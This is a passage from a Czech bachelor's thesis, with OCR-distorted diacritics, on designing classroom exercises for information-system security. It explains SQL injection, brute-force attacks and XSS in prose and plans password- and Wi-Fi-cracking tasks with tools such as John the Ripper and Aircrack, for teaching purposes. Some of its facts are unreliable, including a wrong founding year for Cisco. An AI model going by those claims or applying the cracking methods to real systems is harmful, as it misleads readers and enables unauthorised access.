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Anotace

Cilem bakalafské prace je zpracovat a vytvofit navrhy uloh pro vyuku
bezpecnosti IS. V této praci predstavim nékolik moznosti pro vyuku bezpecnosti,
které mohou slouzit studentim VS. Pro tyto téely jsem pouzil napiiklad programy
Cisco Packet Tracer, Open GPG, Nessus a OpenVAS. Tyto programy simuluji
skutecné aplikace, které v sobé maji urcitd bezpecnosti rizika a umoznuji nalézt
chyby a pfijit na nejlepsi feSeni opravy. Dalsi ¢asti mé prace jsou bezpecnostni rizika
antivird, Wi-Fi siti, bezpe¢nostni chyby systémt a DDOS utoky. V ramci prace
budou vytvorené tlohy piedloZeny k otestovani ostatnim studentim VS a zji§tovani,
zda dokazi podle vytvofenych navodii pracovat s témito aplikacemi.

Klicova slova

Inovace tuloh, testovani bezpec¢nosti, hrozby informacnich systému



Abstract

The aim of this thesis is to process and create assignments for security training.
In this thesis | will present a few options for security training that can serve
university students. For these purposes, | used programs Cisco Packet Tracer, Open
GPG, Nessus and OpenVAS. These programs simulate real application, which in
themselves have certain security risks and allow for mistakes and find out the best
solution to repair. Next part of my thesis are antivirus security, wifi network, system
errors and DDOS attacks. Within of the thesis | created task will be submitted for
testing other university students and determine whether they can operate according to
instructions created with these applications.

Keywords

innovation, security scan, security system threat
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1 Uvod

Jako téma mé bakalarské prace jsem si vybral ,,Navrh tloh pro vyuku bezpecnosti
vV informacnich systémech®. Tuto praci jsem si zvolil zamérm¢, nebot mne
bezpe¢nost modernich technologii vzdy zajimala a chtél jsem mit svoje data peclive
zabezpecena a hlidana.

Praci jsem rozdélil do tii hlavnich kapitol. Prvni dvé kapitoly jsou teoretické
urovné, posledni kapitola je zaméfena na praktickou a ukazkovou ¢ast vytvotreného
vyukového materialu.

V prvni kapitole, se zaméfime nejprve na zakladni definovani okruhti bezpe¢nosti
informacnich systéma (BIS) a poté si rozebereme jednotlivé okruhy zabezpeceni
s popisem jejich vyhod, pfipadné nevyhod. Na zaklad¢ informaci z danych okruhi
vybereme programy, které budou slouzit pti testovani BIS a k vyuce studenttim.

V druhé kapitole si tyto programy podrobné popiSeme a vysvétlime jejich funkce,
jelikoz budou pouzity v praktické ¢asti této bakalarské prace, a vysvétlime i,
Vv jakych oblastech testovani se daji vyuzit. Déle zatneme vytvéiet vyukovy material
uréeny pro studenty, kteti navstévuji predmét ,,Bezpecnost informacnich systémua®.
Tento material bude slouzit hlavné jako oZiveni a doplnéni piedmétu o ndzorné
ukézky k vykladu.

Treti kapitola bude slouzit jako ukazka vytvofenych uloh a vyuziti dfive
popsanych programt, nazorné si ukdzeme testovani vybranych oblasti bezpecnosti a
pouziti. Prvni dva ptiklady na sebe budou navazovat, jelikoz bude pouzit stejny
program. Zbytek tuloh poté bude vzdy v odlisnych programech.

Na zavér prace se pokusim zhodnotit pfinos tohoto vyukového materidlu a popsat
hodnoceni studentt, ktefi budou s timto materialem pracovat.

/7 /7

2 Cile prace

Cilem mé prace je zpracovat informace 0 bezpec¢nosti informaéniho systému, jak
v teoretické, tak v praktické oblasti. Vytvofit Gilohy pro vyuku tohoto tématu, ptedat
tyto zkuSenosti ostatnim studentlim a uZivatelim modernich technologii.

V teoretické ¢asti prace bude popsan celkovy problém bezpecnosti a zhodnoceni
hrozeb pro jednotlivé skupiny oblasti, jako jsou wi-fi sité nebo antiviry.

Praktickou ¢ast bude tvotit soubor tloh v programech Cisco Packet Tracer, Open
PGP, GnuPG a dalsich, kde se da testovat kvalita zabezpeceni.
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3 Metody prace

Zakladni sbér dat pro tuto bakaldfskou praci probihal metodou individualniho
rozhovoru s vedoucim piedmétu Bezpe¢nost v informaénich systémech a zaroven
svedoucim mé bakalaiské prace na JihoCeské univerzité, a také metodou
dotaznikového Setteni.

Tento postup mél za cil ziskat pojem o sylabu pfedmétu a praktikdch béhem
vyuky. Nalézt zpétnou vazbu pro ziskani informaci o pohledu studentd o fungovani
soucasného vyucovani. Zjistit, tak nedostatky, a z toho vyplyvajici pozadavky, od
kterych se dale odviji mtj navrh na zlepSeni vyuky v podobé doplitkovych tloh pro
studenty.

Pro tyto Ucely jsem vytvofil dotaznik o 9 otazkach. Pro vytvofeni takového
dotazniku jsem vyuzil portdlu www.google.com, ktery umoziuje vytvaret formulare
pro internetové prazkumy.

Takto vytvofeny dotaznik jsem rozeslal respondentim ve Skole. Data byla
nasledné zpracovana a vyhodnocena tak, abych ziskal kromé svého osobniho Setieni
na skole i zpétnou vazbu o pohledu na soucasny stav od respondentd, kteti navstévuji
nebo nenavstévovali tento pfedmét, a mohl jsem tim padem pfistoupit k samotnému
navrhu na jeho zlepSeni.

Plan postupu k dosazeni stanoveného cile:

1) Seznameni se s prostiednim, ve kterém bude inovace probihat.

2) Zakladni charakteristika soucasného stavu probihajici vyuky.

3) Priizkum mezi studenty. Zjisténi nedostatkd a definice pozadavk, které jsou na
vyuku kladeny.

4) Navrh na zlepSeni v zavislosti na zjiSténych informacich.

5) Zhodnoceni provedenych krokd.
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4 Bezpecnost informacnich systému -
vybrané pojmy

Diive, nez zaCneme testovat a zkouSet rizné chyby a mezery v programech, které

by mohly byt potencionalni hrozba pro naSe soukromi, musime si definovat a
vysvétlit, jak se vlastné déli BIS, jaké jsou hrozby a druhy ohrozeni.

Bezpecnost informacnich systému Ize zakladné rozd¢lil na ¢tyti zakladni pojmy.

e Bezpecnost
o UrCuje stupenn ochrany objektu proti moznym Skoddm a
hrozbam
e Zranitelné misto
o Slabina informa¢niho systému vyuzitelnd k moZnému
zpusobeni skod

e Riziko
o Pravdépodobnost, jak bude dany objekt zranitelny
e Hrozba

o Udalost, kterd miiZe zpiisobit poSkozeni, zniceni, ztratu

4.1 Bezpecnost a prevence

Do okruhu bezpecnosti, coz jsou naptiklad antiviry a Sifrovani spadé i prevence.
Ochrana proti moznym $kodam a hrozbam je v dne$ni dobé nezbytna. Jsou rizna
druhy zabezpeceni, n¢ktera jsou méné ucinna, jina vice.

Prevenci rozumime pravé to, ¢im se zabyva tato bakalaiska prace, tedy v prvé
fad¢ vyuka bezpecnost, dale poté testovani aplikaci. Je potieba, aby co nejvétsi pocet
uzivateli modernich zatizeni védé€l, co je pro néj i pro jeho zatizeni bezpecné a kde
pfipadné hrozi, Ze by mohl pfiijit o své soukromé data a tdaje, které by se dali
zneuzit. Cim vice uZivatelii bude znat zasady pouZivani internetu a jinych vefejnych
zdroji, tim méné budou mit Sktidci Sanci, proniknout do jejich soukromi.

4.1.1 Antiviry

Tim nejzdkladnéjSim a nejvice rozSifenym zabezpecenim dneSka je antivirus.
Diky tomuto programu mame V naSich zafizenich automaticky scanner, ktery pfi
jakékoliv podivné hrozné z externich zdroji upozorni uZivatele, Ze jeho zafizeni
muze byt ohrozeno a nabidne feSeni.

Nékteré antiviry jsou mén¢é ucinné, vétSinou maji pouze zakladni nebo zastaralou
databazi hrozeb a povétsinou se daji bezplatné stahnout z internetu. Takovy to antivir
je kolikrat spise ptitézi, nez zabezpeCenim.
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Jind kategorie jsou placené¢ antiviry, diky jednordzovym, nebo mési¢nim
poplatkim vyrobcim téchto programii mame nékolikrat denné aktualizovanou
kompletni databazi hrozeb a pravidelné aktualizace programu. Takovéto antiviry uz
zvladaji odhalit vysoké procento pokust napadnuti pocitace a tim padem uchranit
uzivatelova data.

Na zacatku roku byl spoleCnosti Virus Bulletin zvefejnén test uspésSnosti
antivirusovych programi, kde zvitézil placeny ESET s uspéSnosti 97,8% (z 90 testh
byl pouze 2x neuspeésny. Naopak volné stazitelny cesky antivirus AVAST mél
uspésnost pouze 67,9% (z 84 testti bylo 27 neuspésnych). (1)

4.1.2 Elektronické Sifrovani dat

Co je vlastné Sifrovani dat? Sifrovéni je proces, pii kterém se nezabezpetena data
pfevadi pomoci kryptografie na data zaSifrovana, kterd piecte pouze uZivatel
s desifrovacim kli¢em. Elektronické Sifrovani dat se pouziva jiz néjakou dobu, ale
stale se zdokonaluje, jedna se o velmi kvalitni zabezpeceni, ov§em kolikrat slozit¢jsi
na pouzivani pro uzivatele. Sifrovani se dnes hojné vyuzivd i v oblasti
telekomunikace. (2)

V oblasti pocita¢li se Sifrovani pouzivd v nékolika oblastech. Muzeme si
zaSifrovat e-mail komunikaci, zaSifrovat ur€ité slozky a dokumenty v PC anebo
zaSifrovat rovnou cely disk.

Jedno ze zakladnich Sifrovani se pouziva velice Casto. Je to Sifrovani dat ve
slozkach napiiklad pomoci rozsiteného programu WinRAR. Diky moZnosti, kdy
uzivatel mize zabalit svoje soubory a vyuZzit rozmanitd hesla pro otevieni baliku, se
jedna o velice uc¢inné Sifrovani a zabezpeceni dat

K sifrovani dat se pouzivaji bud’ zvolené, nebo vygenerované klice. Diky témto
klicim ma piijemce moznost data piecist a pracovat s nimi.

Sifrovani e-maili zajistuji tzv. elektronické podpisy. Diky tomu se da zamezit,
aby se zprava béhem cesty nedostala k n€ékomu jinému a aby nebyla danéd zprava
zménéna. Tuto sluzbu nabizi naptiklad programy Open PGP nebo GnuPG, piipadné
jim podobné programy.

Pro zabezpeceni internetového bankovnictvi se vyuziva digitalni certifikat, ktery
funguje na principu dvou Sifrovacich klict. Jeden je vetejny a druhy privatni.

4.1.3 Bezpecnostni testy

Testovani bezpecnosti u aplikaci se fadi k prevenci, diky které se sniZuje riziko
utoku na uZzivatele. Na bezpecnostni testy by se méla klast velka pozornost. Jestlize
bude program nestabilni a zranitelny, spole¢nosti, které software vytvari, budou mit
u zakaznikd Spatné jméno a to se velice téZce napravuje. Softwary by méli mit
testovany a zabezpeCeny na vSechny druhy utokti, vzhledem k tomu Ze podoba
dnesnich pocitacovych utokd je riznoroda. Muze jit o nudiciho se studenta,
nespokojeného zameéstnance nebo znalého hackera. Kazdy ma riizné metody a
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techniky k dosahnuti svych cili. Bezpecnosti testy se provadéji na né€kolika rtiznych
arovnich. (3)

Skenovani zranitelnosti

Jednou z metod testovani bezpecnosti je skenovani automatizovanymi programy,
které provadi pravidelné kontroly softwaru a umoznuje zachytit neCekané zmény
v siti nebo v systemu.

Testovani webovych aplikaci
Jedna se o vlastni ovéfeni webovych aplikaci nebo portalt. Standardné se testuje
SQL injection, brutalforcing a vnitini chyby jako je ovéteni autorizace a dalsi.

Penetracni testy
Jednad se o ovéfovani jiZ znamych zranitelnosti, nevhodnych konfiguraci nebo
slabin s cilem odhalit dal$i mozné chyby. Tomuto testovani se fika tzv. Eticky

hacking.

4.1.4 Rizeni bezpeénosti ISO 27001

Jednd se o mezinarodné platny standart, ktery definuje pozadavky na systém
managementu bezpecnosti informaci predevSim pak fizeni bezpe€nosti divéry
informaci pro zaméstnance, procesy, IT systémy a strategii firmy.

Norma 1SO 27001 podle nejnovéjsi verze z roku 2005 zaruCuje soulad s
aktualnimi legislativnimi poZadavky (pfedev§im ochrana osobnich udaji).
Vybudovani systémového piistupu piinasi vétsi bezpecnost a snizuje riziko uniku
citlivych informaci.
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4.2 Hrozby

Hrozba jako takova, je velice Siroky pojem, pod nim si mizeme predstavit
vselijaké ohrozeni nasi bezpecnosti. Proto se hrozby déli do ¢ty typt.

4.2.1 Umyslné hrozby

Umyslné hrozby, jak jiZ jejich ndzev napovida, jsou hrozby, které zpiisobi osoba,
ktera chce ziskat data ostatnich a zneuzit je, v dnes$ni dobé existuje spoustu zptisobti
podvodd, které lakaji z uzivatell jejich soukromé tidaje a podrobnosti o nich. Patfi
mezi n¢ napiiklad Phishing, imyslné prolamovani hesel a samoziejme viry.

4.2.2 Nahodné hrozby

S ndhodnymi hrozbami se dostdvame do kontaktu kazdy den, jde o snahu ziskat
informace o uZivateli jeho nepozornosti, nebo neznalosti. Radime mezi né naptiklad
spam, coz je nevyzadana e-mailova posta vétSinou se Spatné formulovanou cestinou
presvédcujici uzivatele, ze naptiklad vyhral v loterii a je po ném pozadovano zadani
jeho osobnich udaji k vyzvednuti vyhry. Samoziejmé se o Zadnou vyhru nejedna a
uzivatel mize pfijit v nejlepsim o drobné data ve svém pocitaci, v hor§im piipad€ i o
penize.

Za dal8i nahodnou hrozbu je povazovan Malware. Malware je program, ktery se
vklada k jinym programtim, vétSinou z neovéfenych zdroji a tvaii se jako doplnék
K instalovanému programu, ¢i jako antivirus nebo software na spravu a CiSténi
pocitace. Pokud uZivatel tento program nainstaluje, hrozi, Ze Malware poskodi jeho
pocitac a také ztratu osobnich dat.

K nadhodnym hrozbam se fadi i chyby v programech. V tomto ptipadné neni
zodpovédny uzivatel, nybrz autor programu, ktery ma ve svém kdédu chybu a hacker
se dokaze pres tento program dostat do uzivatelova pocitate a opé€t ziskat pristup
k osobnim datim.

4.2.3 Vnéjsi hrozby

Pod pojem vnéjsi hrozby spada vse, co dokaze poskodit uzivatelovo zafizeni na
dalku, ¢ili z venku. Muze to byt hacker, ktery ziskava data ostatnich uzivatelti bud’ na
prodej spolecnostem zabyvajici se napiiklad nabizenim produktl (ziskdni jména,
adresy, e-mail adresy uzivatelt) nebo pro vlastni obohacovani.

Nemusi se ovSem vzdy jednat 0 pochybeni ¢lovéka, mezi vnéjsi hrozby fadime i
ptirodni vlivy. Blesk uhodi do domu a nasledkem toho dojde k poskozeni, nebo
zniceni zafizeni uvnitf budovy, dale to miize byt pozar nebo i zemétieseni.
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4.2.4 Vnitini hrozby

Tzv. "vnitini hrozby" jsou jednim z dalSich bezpec¢nostnich problémt, jimz se
musi zabyvat hlavné firmy a podniky.

Mnoho zaméstnancii nema tuSeni o bezpeCnostnim zajisténi svého firemniho
pocitace ¢i notebooku. Plno zaméstnanct také nedodrzuje bezpecnost a ptipojuji do
svych firemnich zafizeni osobni USB disky, MP3 piehravace atd. Timto ptredstavuji
zaméstnanci riziko, ze se vnitropodnikové pocitaCové sit¢ nakazi viry, cervy ¢i
Skodlivymi programy.

4.3 Jednotlivé testy bezpecnosti informacnich systémii
V této ¢asti si probereme jednotlivé druhy testovani a popiseme si jejich vyhody a
nevyhody, od naro¢nosti na piipravu po jejich uspésnost a spolehlivost.

4.3.1 Penetracni testy

Jak uz bylo fe€eno, penetracni testy jsou planované Utoky na jednotlivé casti
programu za ucelem ovéfit jejich odolnost a ptipadné odhalit jiné chyby.

Penetraénich testi je nékolik druht, které se déli dle lokality, z které Gtok
prichazi.

Utoky provadéné z internetového prostiedi se nazyvaji vn&jsi a maji za Gdel
provétit vetfejné dostupné systémy. Testuji se napiiklad e-shopy, internetové
bankovnictvi, mail servery a dalsi.

Testy vnitini jsou nastaveny pro Utoky z vnitiniho prostiedi spolecnosti. Praveé
velmi Casto se dba pouze na utoky vnéjsi, ov§em zapomina se na to, Zze zaméstnanci
mohou mit schopnosti nad rdmec jejich pracovnich povinnosti a mohou byt schopni
dostat se k citlivym datim spole¢nosti a zaméstnancii mnohem jednoduseji nez pfi
pfistupu mimo spolecnost. Pfi téchto utocich se Casto vyuzZivd neznalosti ostatnich
zameéstnanct, jako jsou slabé a jednoduché hesla, nepozornost pii ptihlasovani a
odhlagovani v systétmu nebo soukromym USB diskem s nahranym S$kodlivym
programem. Pfi vnitinim testovani se nesleduje pouze systém, ale také chovani
zaméstnancl spolecnosti at’ uz se jedna pouze o zaméstnance administrativni nebo o
IT oddéleni.

Testy se dale déli na tzv. white box a black box. White box je tester, ktery ma
pfistup ke kompletnim uétim, heslim a infrastruktufe spoleénosti. Castokrat je mu
poskytnut 1 bézny uzivatelsky ucet. Black box je pravy opak, tester o infrastruktufe
spole¢nosti nevi vitbec nic a vSechny informace si musi zjistit sam.

Pfi penetratnim testovani se zabyvame tfemi hlavnimi okruhy, na kterych jsou
testy provadeény.

e internetové technologie

e komunikacni technologie

e bezdratové technologie

V oblasti internetové technologie patii testovani webovych aplikaci, DoS
utoky a systémove identifikace
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Komunikaéni oblast se sklada z provéfeni modemovych pfipojeni, sluzeb VoIP a
ustfeden.

Testovani bezdratovych technologii zastit'uje obecnou metodiku standartu 802.11,
detekce bezdratovych systému a technologii RFID (Radio Frequency Identification)

Postupy testovani jsou vétSinou tajené z divodu know-how firem, proto existuji
vefejné pristupné podklady The Open Source Security Testing Methodology Manual
(OSSTMM). Tato metodika systematicky oblast bezpecnostnich testi. Cilem této
metodiky je popsat co a jak se bude testovat.

Zakladem vSech testovani je nejdiive automatické skenovani nasledovano
manudlnim postupem, ktery je specifikovan pro kazdého testera jinak. Hlavnim
ucelem automatického skenovani je vylouceni chyb lidského faktoru. Nevyhodou
tohoto systému je nutnost aktudlnost databdze bezpecnostnich problému a poté
samotnd ,,inteligence testll. Automatické skenovani by se totiz mélo pii zjisténi
chyby zachovat stejné jako pravy utocnik, to je ovSem velice tézky tkol.

Z kategorie voln¢ dostupnych programi tzv. Open sourse je zde zastupce Open
Vulnerability Assesment Systém (Open VAS). Je to sitovy bezpecnostni skener. Jde
o soubor nastroji a sluzeb, které¢ nabizeji kompletni testy zranitelnosti a nasledné
feSeni. Aktualnost nastroje je vyieSena Cerpanim z Network Vulnerability Tests
(NVT).

Za zastupce placenych programii Ize zminit Nessus, ktery byl ptivodné zdarma,
dej jiz placeny pro zpfistupnéni vice funkci. Nessus umoziiuje pouzivat vlastni
skripty pro ovéfeni bezpecnostnich chyb. Je zaloZzen na funkci plugins a v soucasné
dobé jich nabizi pies 50000. Bohuzel v§echny tyto moduly jsou placené. (4)

e Vyhody penetracnich testi
o Pifi pec€livém pouziti poskytuje velice pfesné informace o
zabezpeceni
o Ukazuje slaba mista a mozny vyskyt rizik
o Kategorizace rizik od nejzadvaznéjSich po méné zavazné
o Nezavisli pohled na ucinnost nyngjsiho zabezpeceni
e Nevyhody
o Neni 100% dikazem bezpecnosti systému
o [ pres dukladnou pfipravu trvd systétmu po absolvovani
penetrac¢niho testu néjakou dobu, nez se zotavi
o Neni uplné¢ stejny jako postup utocnika pouzivajici obdobné
nastroje
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4.3.2 Testovani webovych aplikaci

U webovych aplikaci, se stejn¢ jako u jinych programi testuji hlavni pozadavky a
to je funkc¢nost, spolehlivost, podpora, vykon a pouzitelnost.

Jesté nez zapocne samotné testovani, provadi se piiprava, kde se sbiraji informace
0 dané webové aplikaci v souvislosti s jeji funkénosti.

Provadi se hlavné audit kodu, ktery se provadi osobou nebo néstrojem, zda
opravdu odpovida danym piredstavam a standardim vcetné bezpecnosti samotné
aplikace

Jeden z dalsich dilezitych testi pro webové aplikace je SQL injection, pro
hackery je to uziteCna bezpecnostni mezera, naopak pro tvirce aplikace nocni mura.
Zakladem SQL injection je podvrzeni vstupnich dat z formulai nebo dalSich vstupii
za ucelem zmeénit vysledek SQL dotazu. Tato chyba se nachazi ve spousté webovych
aplikaci.

Pokud se SQL injection hackerovy podafi, mize dostat naptiklad k uzivatelskym
uctim a heslim nebo mize zménit obsah v tabulkdch nebo je rovnou smaze.
Zasadou pti psani kazdé webové aplikace je kontrola a zabezpeceni vSech vstupnich
poli uzivatele. Proménné musi byt stejného typu, jaky vy pozadujete

Dalsi moznosti jak lze napadnout webovou aplikaci je tzv. bruteforcing,
v prekladu utok hrubou silou. Za brutelforcing se povazuje zpusob, kdy se Gto¢nik
snazi o rozlusténi Sifry bez znalosti kli¢e. Prakticky se jednd o testovani vSech
mozZnosti a kombinaci.

Nejcastéji se tento utok pouziva pro ziskani zékladnich Gdaji pro ptihlaseni, coz
je uzivatelské jméno a heslo. Vzhledem k tomu, Ze spousty uZivatell ma zakladni
jméno a jednoduché heslo (kolikrat stejné jako jméno), je tento zplisob prolamovani
velmi rozSifeny a mnohokrat velice uspésny.

Obrana proti tomuto zptsobu je velmi jednoduchd a zaleZi jen na uzivateli. Pokud
si zvolime velmi silné heslo, které obsahuje rtizné kombinace velkych i malych
pismen a pfidaji se Cislice, je toto heslo velmi odolné proti bruteforce utoku.

Dalsi z velice znamych utoki na webové servery a webové aplikace se nazyva
Cross-Site Scripting.

Stejn¢ jako u SQL injection se jednd o zfalSovani skriptu odeslaného uto¢nikem.
Pfi nedostatecné kontrole a pozornosti se poté tato ¢ast skriptu vydava za original a
dochazi k obejiti zabezpeteni daného webu. Utoénik prakticky donuti nepozorného
uzivatele spolupracovat a tim padem sam uzivatel odevzdava svoje osobni Udaje jako
je ptihlasovaci jméno a heslo a Gito¢nikovi umoZzni kompletni pfistup k dal$im datim.
Tento ptipad napadani webovych aplikaci je hojné pouzivan hlavné u internetového
bankovnictvi, kde i v CR bylo takto obelhano nékolik desitek uZivateld. (5)
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4.3.3 Skenovani zranitelnosti

Zranitelnost znamena slabé misto jak v softwaru, tak v hardwaru, které mize

Zranitelnd mista u softwaru vétSinou vznikaji pii vyvojich produkti, ptipadné pii
jejich aktualizacich ¢i rychlych opravach, kterym neni vénovand dostate¢na
pozornost. Takova to nachylnd mista nalezneme prakticky ve vSech prostiedk
informacnich systémi, tedy od samotného firmwaru, pies PC, notebooky, tablety,
telefony a dale.

Jako u kazdého testovani lze provadét skenovani zranitelnosti jak z vnéjSiho
prostiedi, tak z vnitiniho.

Jak jsme si jiz popisovali, vngj$i zranitelnost je dostupna jakémukoliv Gto¢nikovi
na siti a to bez znalosti vnitiniho systému. Stac¢i zde pouze dostupnost internetu a
nezabezpecené porty, na nichz lze sledovat sitové sluzby obsahujici mezery
v programech. Takové to zranitelnosti jsou povétSinou oteviené dveie pro Uto¢niky,
pres které se dostanou jesté k vétsimu napachani $kod. Utoénik miize bud® ukrast,
zneuzit, upravit nebo Gpln¢ vymazat libovolné data v databazi.

Mezi vétsi hrozby vnitini zranitelnosti potom patii napiiklad spusténi Skodlivého
koédu piimo v siti, ziskani uzivatelskych uctu a hesel a jejich pouZiti pro trestnou
¢innost. Pokud je hacker dosti Sikovny, v takovémto systému po sobé dokaze zamést
stopy a nikdo se nikdy nedozvi, kdo zptsobil takové problémy.

Kviili takovymto ptipadim je potfeba opravdu dbat na spravné naprogramovani a
opravovani software. Podle statistik, pokud nalezneme do 15 dnd od vydani 10%
nejkritictéjSich chyb, snizime pravdépodobnost tspéSného utoku hackera o 90%.

Hlavni kroky pro snizeni zranitelnosti programu jsou:

o Identifikace a zjisténi presného stavu aktivnich a neaktivnich systému
RozliSeni dilezitosti jednotlivych systémi pro organizaci
Hledani zranitelnosti pomoci vnitiniho a vnéjsiho skenovani
Kontrola procesu odstrafiovani mezer
Definovani bezpecnostni politiky

o O O O

Prvni dvé faze zabezpeCovani lze provadét pomoci automatizace, dalsi kontroly
jsou potom na spravcich dané sité, ¢i softwaru. (3)
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4.4 Vybér programiu a okruhii pro vytvoreni uloh BIS
Po vysvétleni zakladnich pojmt a typ zabezpeceni a hrozeb je potieba vybrat
nékolik okruht pro testovani a k nim zvolit vhodné programy. Jelikoz material, zde
vytvoteny bude slouzit hlavné pii vyuce predmétu Bezpec¢nosti informacnich
technologii. Vybral jsem oblasti testovani podle sylabu pfedmétu a podle naro¢nosti
jednotlivych testli tak, aby bylo mozné programy jednoduse nainstalovat a pouzivat a
nezabirala jejich piiprava pro testovani vétSinu vyuky.
Po zvazeni a nastudovani materialu budeme v Ulohach testovat nejcastéjsi a zde
popisované hrozby a to jsou nasledujici:
o Blokace IP adres, blokovani porti a webt
Sledovani paketii (sniffing)
Z&klady kryptografie — sifrovani dat
Testovani zranitelnosti pomoci skenovani
Prolamovani zasifrovanych hesel u souborti
o Prolamovani hesel wi-fi siti
Pro tyto Ucely byly vybrany programy, které zvladaji simulovat dané prostiedi, ¢i

o O O O

se pfimo pouZzivaji pro zabezpeceni nebo testovani informacnich systémd.

Pro prvni dvé ulohy byl zvolen program Cisco Packet Tracer, diky némuz lze
simulovat redlné sit¢ a diky své prehlednosti a pomérné jednoduchosti.

K zékladnimu vyzkouSeni kryptografie vyuZijeme program Open PGP a GPG, pro
Sifrovani soubort a e-mailové konverzace.

Zranitelnost webovych serveru a aplikaci provéfime pomoci SQL injection.

Posledni dvé tlohy budou z pohledu ,,hackeru a to prolamovani hesel a wi-fi siti,
pro tyto ucely nam poslouZzi programy John the Ripper, Aircrack a RAR password
recovery.

Vsechny tyto softwary a aplikace si podrobné&ji popiseme v nasledujici kapitole.
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5 Programy pouzité pro vytvoreni uloh
BIS

5.1 Cisco Packet Tracer

] | 0 l [}
::_IIS(I:_(; Cisco Networking Academy

Obr. 1 logo spolecnosti Cisco Systems

Cisco Packet Tracer je vyukovy program od spole¢nosti Cisco Systems, Kterd byla
zalozena vroce 1993. Tento software slouzi ksimulaci realného provozu
pocitacovych siti. V Packet Traceru lze simulovat jakoukoliv sit’ s vyuzitim Cisco
hardwaru.

Hlavni vyhodou tohoto programu je moznost sledovat provoz sité, vcetné
zachytavani ramct a paketd. Velmi kvalitné zpracované jsou piedevSim routery a
switche. VSechna virtudlni zafizeni, kterd lze pouzit v Packet Traceru jsou téméft
totozna se skuteCnym hardwarem.

Diky tomuto programu lze experimentovat sjednoduchou i sloZitou siti a
zjisStovat, jak spravné nastavit a pouZivat danou sit’ tak, aby byla co nejstabilngjsi a
nejrychlejsi.

Soucasny Cisco Packet Tracer je ve verzi 6.2 a podporuje celou fadu simulac¢nich
moznosti. Tato verze kromé opraveni chyb pifindsi dalsi novinky, jakou jsou nové
routery, telefonni véze na vysilani 3G/LTE signalu pro mobilni zafizeni a tablety.
Virtualni http server nyni podporuje JavaScript a CSS, takze je mozné si ve virtualni
siti naprogramovat vlastni webové stranky a Ize se k nim pfipojit pomoci zafizeni ve
vytvotené siti.

Dalsi novinkou v této verzi je tzv. Sniffer, coz je hardware, ktery dokéaze sledovat
pfichozi a odchozi pakety na dané siti. Diky filtrovani miZeme bez problémul
sledovat jeden nebo vice paketl naraz.

Kazdy virtualni pocita¢, notebook, tablet nebo mobil ma vlastni interface, kde
mizeme sledovat a nastavovat naptiklad IP adresy, posilat e-maily, simulovat pohyb
V siti, i nastavit blokovani IP adres a portii na urcité weby.

Jednou z dalsich vyhodnych funkci Cisco Packet Traceru, je moznost upravovat
hardware virtualnich zafizeni, naptiklad ptidat do PC ¢i notebooku piijimac¢ wi-fi
signalu nebo routeru ptidat ptipojky.

Software Cisco Packet Tracer je voln€ dostupny pro vSechny studenty ptihlaSené
do programu Cisco Network Academy (CNA). (6)
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Cisco Network Academy je projekt spole¢nosti Cisco Systems, pro podporu
vzdélavani v pocitatovych sitich. Déle nabizi kurzy, jako jsou Cisco Certified
Network Associate (CCNA) a Cisco Certified a Network Professional (CCNP).

CNA vznikl v roce 1997 a v dnesni dobé je mozné podstoupit jejich kurzy ve vice
jak 9000 skoléach ve vice jak 165 zemich po celém svéte.

Od roku 2010 podstoupilo tyto kurzy vice jak dévétset tisic studentil. V Ceské
republice je mozno absolvovat tyto kurzy na nékolika univerzitich véetné JCU. (6)
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Obr. 2 sit vytvorend v Cisco Packet Tracer v6.2
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5.2 Open PGP / GnuPG

RUeRioE B.6nupG

Obr. 3 loga organizaci OpenPGP a GnuPG

Pomoci tohoto programu nahlédneme do zakladi kryptografie. Ve zkratce je
kryptografie nauka o metodach utajovani smyslu zprav do podoby, ktera je Citelna
pouze se znalosti specialniho klice.

Zkratka PGP znamen& Pretty Good Privacy, tento program pomaha Sifrovat a
desifrovat komunikacni data mezi uzivateli. Program poskytuje standart kryptografie
a autoriza¢ni ovéteni pfi Sifrovani a deSifrovani souborti.

Nejcastéji se PGP pouziva pro podepisovani, Sifrovani e-maild, textl, ale nékdy i
pro zabezpeceni celého disku.

Tento program byl vytvofen Philem Zimmermannem uZz v roce 1991.

Cely proces Sifrovani u PGP probiha na zdkladé sériové kombinace hashovani,
komprese dat, symetrickych kli¢t a vefejnych klich. Kazdy krok pouziva jeden
z nékolika ur¢enych algoritmu. Vetejny kli¢ je vazan na uzivatelské jméno a e-mail.

PGP Sifrovani ma ale bohuzel 1 nevyhody, jedna z hlavnich je ta, Ze pokud ma
jeden z uzivatelll nové&jsi verzi nez uzivatel, ktery pfijima zpravu, pfijemce nemize
data desifrovat ani s platnym klicem, proto je dulezité, aby oba méli stejnou verzi
programu Open PGP.

Zasilani zaSifrovanych zprav probihd tak, Ze odesland zprava je zabezpecena
symetrickym klicem, ktery je pouzit vzdy jen jednou. Zprava i kli¢ jsou odeslany na
server, béhem pifenosu je zprava chranéna vefejnym klicem, pii pfijeti musi mit
osoba, ktera chce zpravu desifrovat k dispozici pravé symetricky kli¢, ktery dokaze
Zpravu oteviit.

Open PGP podporuje i digitalni podpis, ten funguje na principu autorizace, kdyz
se zprava odesle a piijemce diky podpisu zjisti, zda zprava nebyla po dokonceni
néjakym zplisobem upravovana a zda pochdzi od spravného odesilatele.

V dnesni dobé¢ je program Open PGP zpoplatnény.

Druhou verzi Open PGP je GPG, ¢ili GNU Privacy Guard, jedné se o alternativu
k placenému Open PGP. Software je vydany pod zastitou spolecnosti GNU General
Public License. GPG kompletné¢ odpovidad standartu pozadujici Open PGP a diky
tomu jsou tyto programy pln¢ kompatibilni.

Zékladni GnuPG pouziva standartni textové rozhrani, existuji ovSem nadstavby,
které¢ vyuzivaji GNU, tyto nadstavy se projevuji moznym pouzitim piimo v e-
mailovém klientu nebo v jinych programech. Vyhodou GPG je, Ze podporuje velké
mnozstvi platforem v¢etné Linuxu a Mac OS.

Proces Sifrovani funguje na stejném principu jako u Open PGP. (7)
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5.3 OWASP a Nessus
A {//

OWASP >

The Open Web Application Security Project Nessus’

Obr. 5 Logo organizace OWASP a spolecnosti Nessus

OWASP — Open Web Application Security Project je svétova neziskova
organizace zaméfujici se na zvySeni bezpeCnosti softwaru. OWASP se snazi se
celosvétovou osvétu v bezpecnosti, aby co nejvice uzivatelit modernich technologii
dbali na zasady ochrany svého soukromi. Tento projekt vznikl za pomoci Marka
Curpheyo a Dennise Grovese v roce 2001. OWASP ma pouze tfi zaméstnance a ma
velice nizké naklady, které jsou hrazeny z reklamy a bannert.

OWASP mé své zastoupenl’ iv Ceské republice
popularni OWASP Top 10

OWASP nejvice vyuzivad né€kolik nastrojli pro testovani. Jeden z prednich je
